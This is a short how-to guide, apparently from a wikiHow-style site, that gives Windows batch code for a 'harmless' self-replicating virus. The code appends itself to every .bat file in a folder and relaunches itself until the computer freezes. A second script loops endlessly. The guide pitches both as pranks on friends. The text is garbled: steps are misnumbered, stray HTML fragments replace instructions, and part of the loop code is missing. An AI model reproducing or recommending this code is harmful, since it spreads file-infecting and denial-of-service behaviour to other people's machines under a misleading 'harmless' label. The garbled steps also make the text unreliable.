Create a Harmless Freeze Virus

This will show you how to make a self-replicating, harmless virus, that freezes your computer.


  1. Open Notepad or other word processor.
  2. Type on the first line, "start virus.bat," then, on the next
  3. type the following code:
    • @echo off
    • for %%f in (*.bat) do copy virus.bat+%%f
  4. if not exist c:\fr.htm echo
  5. c:\fr.htm
    #*start virus.bat
    #Save the file as " want.<br="" you="" anything="" to="" ?virus?="" change="" can="" files.="" all="" select="" and="" virus.bat?=""># Open the file and it will open so many pointless windows, your computer will freeze.
  6. Shut down your computer and it will return to normal.
  7. Beware of angry friends
  8. Or try this one
  9. Open Notepad or other word processor.
  10. Type this in
  11. ECHO Endless loop, Help!!
  13. Then save as loop.bat
  14. Then when you open it it will keep looping Help!! and probably lag or crash a computer.
  15. If you want to stop it hit X.


  • When changing the name, be sure to keep the .bat part
  • This could be a fun practical joke.
  • You can change the filename from virus to anything you want, just as long as you change every part of the file where it says virus to your new name.
  • To change the icon of ANY short cut right click on it and select properties. Next click change icon. It might give you a error but ignore it and continue. Then select the one you want and press okay/apply.


  • When you are done, delete the file so as not to confuse anyone.

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